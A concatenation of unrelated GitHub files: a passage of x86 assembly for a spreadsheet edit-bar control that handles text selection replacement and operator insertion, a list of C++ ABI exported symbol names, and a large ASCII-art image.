cx:dx = buffer for text bp = GenValueType RETURN: cx:dx = buffer filled DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EditBarControlCode ends EditBarMouseCode segment resource COMMENT @----------------------------------------------------------------------- FUNCTION: EBCTextReplaceSelection DESCRIPTION: CALLED BY: INTERNAL (MSG_SPREADSHEET_REPLACE_TEXT_SELECTION) Sent by the ChooseFunction and ChooseName controllers. PASS: cx - length of text (0 for NULL-terminated) ^hdx - handle of text dx - 0 to indicate that nothing should be appended at all bp.low - offset to new cursor position When the text is replaced, the cursor will be positioned at the end of the new text, so the offset will have to be 0 or less. A value > 0 means to select the new text. bp.high - UIFunctionsActive: UIFA_EXTEND - extend modifier down UIFA_ADJUST - adjust modifier down RETURN: handle freed DESTROYED: everything (method handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 6/92 Initial version -------------------------------------------------------------------------------@ EBCTextReplaceSelection method dynamic SSEditBarControlClass, MSG_SPREADSHEET_REPLACE_TEXT_SELECTION call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR LONG jz noEditBar ;branch if no edit bar if _PROTECT_CELL mov si, offset EditBar call EBCCheckEnabledEditBar LONG jnc freeBlock endif ; ; Make sure the edit bar has the focus (it will enable the icons) ; push cx, dx, bp mov ax, MSG_META_GRAB_FOCUS_EXCL mov si, offset EditBar call EBMC_ObjMessageCall pop cx, dx, bp ; ; Check for no block passed, meaning append nothing, no select change ; tst dx jz markModified ; ; An an operator if necessary ; call AddOpIfNeeded ; ; For getting the current selection... ; mov ax, bp ;ax <- offset, flags sub sp, (size VisTextRange) mov bp, sp push ax ;save offset, flags ; ; If we want to select the new text, get the range of the ; old selection and adjust it accordingly. ; tst al ;0 or less? jle noNewSelect ;branch if 0 or less ; ; We adjust the new selection to start at the old start, ; and end at the old start plus the length of the new. ; This will select the new text (in theory...) ; call GetSelection tst cx ;length passed? jnz gotLength ;branch if length passed push bx mov bx, dx ;bx <- text block call MemLock mov es, ax clr di ;es:di <- ptr to text call LocalStringLength ;cx <- # chars call MemUnlock pop bx gotLength: mov ax, cx add ax, ss:[bp].VTR_start.low ;ax <- start + length mov ss:[bp].VTR_end.low, ax noNewSelect: ; ; Paste the text ; push dx, bp mov ax, MSG_VIS_TEXT_REPLACE_SELECTION_BLOCK call EBMC_ObjMessageCall pop dx, bp ; ; Free the text ; push bx mov bx, dx ;bx <- handle of text block call MemFree pop bx ; ; See if we need to adjust the selection ; pop ax ;al <- offset to select tst al ;already adjusted? jg doneAdjust ;branch if adjusted ; ; Adjust the new selection by the appropriate amount ; call GetSelection cbw ;ax <- adjustment neg ax sub ss:[bp].VTR_start.low, ax ;sub offset sub ss:[bp].VTR_end.low, ax ;sub offset doneAdjust: ; ; Set the new selection ; mov ax, MSG_VIS_TEXT_SELECT_RANGE mov dx, size VisTextRange call EBMC_ObjMessageCall add sp, size VisTextRange markModified: ; ; Mark the text as user modified ; mov ax, MSG_VIS_TEXT_SET_USER_MODIFIED call EBMC_ObjMessageCall noEditBar: ret if _PROTECT_CELL freeBlock: mov bx, dx tst bx ; On the off chance that there's no block jz afterFree call MemFree afterFree: mov ax, SST_ERROR call UserStandardSound ret endif EBCTextReplaceSelection endm if _PROTECT_CELL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCCheckEnabledEditBar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: To check if the EditBar is enabled or disabled. CALLED BY: EBCTextReplaceSelection() PASS: ^lbx:si = EditBar object ds = pointing to some object blocks RETURN: carry = set -- EditBar is enabled clear -- EditBar is not-enabled ds = updated DESTROYED: ax, di REVISION HISTORY: Name Date Description ---- ---- ----------- CL 7/ 3/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCCheckEnabledEditBar proc far uses cx, dx, bp .enter Assert objectOD bxsi, GenTextClass mov ax, MSG_GEN_GET_ENABLED mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage .leave ret EBCCheckEnabledEditBar endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AddOpIfNeeded %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add an "=" or other operator to the edit bar if needed CALLED BY: EBCTextReplaceSelection() PASS: ^lbx:si - OD of edit bar text object bp.high - UIFunctionsActive UIFA_EXTEND - extend modifier down UIFA_ADJUST - adjust modifier down RETURN: none DESTROYED: ax, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: Uses "mov dx, '+'" here to get char and C_NULL at same time. In SBCS version, AddCharToEditbar depends on this. REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/28/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AddOpIfNeeded proc near uses bx, cx, dx .enter ; ; Get the length of the current text, if any ; push bp mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK clr dx ;dx <- new block, please call EBMC_ObjMessageCall pop bp tst ax jnz checkOtherText ; ; There was no text -- add an "=" ; addEqual: mov dx, "=" ;dx <- character to insert addChar: call AddCharToEditBar done: .leave ret checkOtherText: mov dx, bp ;dh <- UIFunctionsActive ; ; Figure out where the selection is ; push bp sub sp, (size VisTextRange) mov bp, sp ;ss:bp <- ptr to VisTextRange call GetSelection mov di, ss:[bp].VTR_start.low ;di <- start of selection add sp, (size VisTextRange) pop bp tst di ;at start of edit bar? jz addEqual ;branch if at start ; ; Get the character before the selection ; push bx, ds mov bx, cx ;bx <- handle of text call MemLock mov ds, ax ;ds <- seg addr of text dec di ;di <- before selection start DBCS< shl di, 1 ;di <- byte offset last char > LocalGetChar ax, dsdi, NO_ADVANCE ;ax <- char before selection call MemUnlock pop bx, ds ; ; Special case ")" -- it needs another operator after it ; LocalCmpChar ax, ")" je addOperator ; ; See if it is punctuation -- if so, we're done ; SBCS< clr ah > call LocalIsPunctuation jnz done ;branch if punctuation ; ; Figure out what operator to stick in based on the modifiers ; addOperator: mov al, dh ;al <- UIFunctionsActive mov dx, "," test al, mask UIFA_ADJUST ;<Ctrl>? jnz addChar mov dx, ":" test al, mask UIFA_EXTEND ;<Shift>? jnz addChar mov dx, "+" ;default operator "+" jmp addChar AddOpIfNeeded endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AddCharToEditBar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a single character to the edit bar CALLED BY: AddCharIfNeeded() PASS: ^lbx:si - OD dx - character to add ^hcx - handle of text RETURN: cx - freed DESTROYED: ax, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 2/ 2/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AddCharToEditBar proc near uses bx, bp .enter ; ; Resize the passed block to a reasonable size ; push bx, cx, ds mov bx, cx ;bx <- handle of text mov ax, (size word)*2 ;ax <- size in bytes mov ch, mask HAF_LOCK or \ mask HAF_ZERO_INIT ;ch <- HeapAllocFlags call MemReAlloc mov ds, ax ;ds <- seg addr of block mov ds:[0], dx DBCS < mov {wchar}ds:[2], C_NULL ;NULL-terminate > pop bx, cx, ds ; ; Replace the selected text ; push cx mov ax, MSG_VIS_TEXT_REPLACE_SELECTION_BLOCK mov dx, cx ;dx <- handle of block clr cx ;cx <- NULL-terminated call EBMC_ObjMessageCall pop bx ; ; Free the text block ; call MemFree .leave ret AddCharToEditBar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBMC_ObjMessageCall %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do an ObjMessage with MF_CALL and MF_FIXUP_DS CALLED BY: UTILITY PASS: ^lbx:si - OD of object ax - message cx, dx, bp - data for message RETURN: ax, cx, dx, bp - depends on message DESTROYED: ax, cx, dx, bp - depends on message PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 2/ 1/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBMC_ObjMessageCall proc near uses di .enter mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage .leave ret EBMC_ObjMessageCall endp EditBarMouseCode ends
{ "pile_set_name": "Github" }
___cxa_allocate_exception ___cxa_end_catch ___cxa_demangle ___cxa_current_exception_type ___cxa_call_unexpected ___cxa_free_exception ___cxa_get_exception_ptr ___cxa_get_globals ___cxa_get_globals_fast ___cxa_guard_abort ___cxa_guard_acquire ___cxa_guard_release ___cxa_rethrow ___cxa_pure_virtual ___cxa_deleted_virtual ___cxa_begin_catch ___cxa_throw ___cxa_vec_cctor ___cxa_vec_cleanup ___cxa_vec_ctor ___cxa_vec_delete ___cxa_vec_delete2 ___cxa_vec_delete3 ___cxa_vec_dtor ___cxa_vec_new ___cxa_vec_new2 ___cxa_vec_new3 ___dynamic_cast ___gxx_personality_v0 __ZTIDi __ZTIDn __ZTIDs __ZTIPDi __ZTIPDn __ZTIPDs __ZTIPKDi __ZTIPKDn __ZTIPKDs __ZTSPm __ZTSPl __ZTSPj __ZTSPi __ZTSPh __ZTSPf __ZTSPe __ZTSPd __ZTSPc __ZTSPb __ZTSPa __ZTSPKc __ZTSPKy __ZTSPKx __ZTSPKw __ZTSPKv __ZTSPKt __ZTSPKs __ZTSPKm __ZTSPKl __ZTSPKi __ZTSPKh __ZTSPs __ZTSPt __ZTSPv __ZTSPw __ZTSPKa __ZTSPx __ZTSPy __ZTSPKd __ZTSPKe __ZTSPKj __ZTSPKb __ZTSPKf __ZTSv __ZTSt __ZTSs __ZTSm __ZTSl __ZTSj __ZTSi __ZTSh __ZTSf __ZTSe __ZTSd __ZTSc __ZTSw __ZTSx __ZTSy __ZTSb __ZTSa __ZTIPKh __ZTIPKf __ZTIPKe __ZTIPKd __ZTIPKc __ZTIPKb __ZTIPKa __ZTIPy __ZTIPx __ZTIPw __ZTIPv __ZTIPt __ZTIPs __ZTIPm __ZTIPl __ZTIPj __ZTIPi __ZTIPKi __ZTIPKj __ZTIPKl __ZTIPKm __ZTIPKs __ZTIPKt __ZTIPKv __ZTIPKw __ZTIPKx __ZTIPKy __ZTIPa __ZTIPb __ZTIPc __ZTIPd __ZTIPe __ZTIPf __ZTIPh __ZTVN10__cxxabiv129__pointer_to_member_type_infoE __ZTVN10__cxxabiv116__enum_type_infoE __ZTVN10__cxxabiv117__array_type_infoE __ZTVN10__cxxabiv117__class_type_infoE __ZTVN10__cxxabiv117__pbase_type_infoE __ZTVN10__cxxabiv119__pointer_type_infoE __ZTVN10__cxxabiv120__function_type_infoE __ZTVN10__cxxabiv120__si_class_type_infoE __ZTVN10__cxxabiv121__vmi_class_type_infoE __ZTVN10__cxxabiv123__fundamental_type_infoE __ZTIa __ZTIb __ZTIc __ZTId __ZTIe __ZTIf __ZTIh __ZTIi __ZTIj __ZTIl __ZTIm __ZTIs __ZTIt __ZTSN10__cxxabiv129__pointer_to_member_type_infoE __ZTSN10__cxxabiv123__fundamental_type_infoE __ZTSN10__cxxabiv121__vmi_class_type_infoE __ZTSN10__cxxabiv120__si_class_type_infoE __ZTSN10__cxxabiv120__function_type_infoE __ZTSN10__cxxabiv119__pointer_type_infoE __ZTSN10__cxxabiv117__pbase_type_infoE __ZTSN10__cxxabiv117__class_type_infoE __ZTSN10__cxxabiv117__array_type_infoE __ZTSN10__cxxabiv116__enum_type_infoE __ZTIy __ZTIx __ZTIw __ZTIv
{ "pile_set_name": "Github" }
:: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;:::::: .::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;: ::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,: ::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;, :;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i: ;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;::::::: ,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i::: ,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;:::::: :ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;:::: i;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,::: i:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;::: i:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,::::::: :;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;::::::::::::: ,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i::::: ::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;::::::::::::: :;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;::::: :::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;::::::::::::::: :::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.::::::::::::: ::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.::::::::::::::: :::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..:::::::::::::::::::::::::::: :::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::. :::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:. ::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::. :::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..:::: :::: .:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: : :.......:..:: :.:.:...:.:...::. ..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......: :... :..: ... :... ..... : : :.. :.: .: .: :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....:: :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... : .:: ::....:..: :: :..... . .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;.............. :..: ::.. :.. : : .: :. : :..: .::..: :..:... ...:: :: :: : : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: :: :..::.::.: . :: : :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... : : ::..... ... :.:......: : : : : .. : :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: .. :....:: :: : : . : . : :.: :.: :.: .: . : .... .: : : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.:: :....: : :.: :.: ::...... ::......:.:.:. : : .........: : : : : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: : : ......:: :: :.:....:.: :.:.:. : ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: : : : :..:.. : ::..:..: ....: :.............:: ...:..: :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::. : : ..: .. : : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....:: :...: :: .. : : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; : : .. :: .. : . .. . .. :: . .. ..: .. . : .. :: : .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ... .... .: . ..: : .. : :: :... : . .. ... .... . . .... . :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .: .. . : .. .. : . :. ....... . . . . .: ... . . :. . : .. . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : .. : .: : : : ... : .. :..... : . : . :.. : . ... : . .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... : : : .. :....: . : . .... :.. ... . . : . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .: ... : .. : : . .... :: ......... . ... : . . : .. .. .. : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; : : .. .. :.........:... .. : :... : .: .. ... . .. : : . .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;... : .. :: .. : : ..........: : : ....: . . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. : : ..... : .. ..... : .. : :: :...: .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j: :; .... . ...: ...... : .. : :: :: .::..: :: . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:. : : .... : : :: .. ......: : :: :..:: . . ....: : : . : :.. : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. . .. : .. :: : ........: : ::....: : : :....... :...: :.. :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......:: . .... .....: .. : : : : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... : : : :: :: :::.::.::.....::.. : ....... : . ..... ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.: ..: :: :: ... :... : :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::... .: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.:: ::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...: ::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..:: ::.::.:.:::...: .: :.:..:.:.::.:..:::.:.. .::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.: :... ....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: .. .....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... : :: :. :.: ::: :............: : ..... :: :....: :.: ..: :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....: : .: .... : ............ :: :: :: : : : :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: .. : :...............:: : : ...........: :: :: :: :: ::.. :: : : :: :: :: : : : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... : :. : .. . : : :...: . .. : : :: :: : : : : ........: .....: : : : ...: :: : : : :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: .... : : : : :: .. : : .. :...: :: :: ::.....: : :: :: :: : .......: :: :: 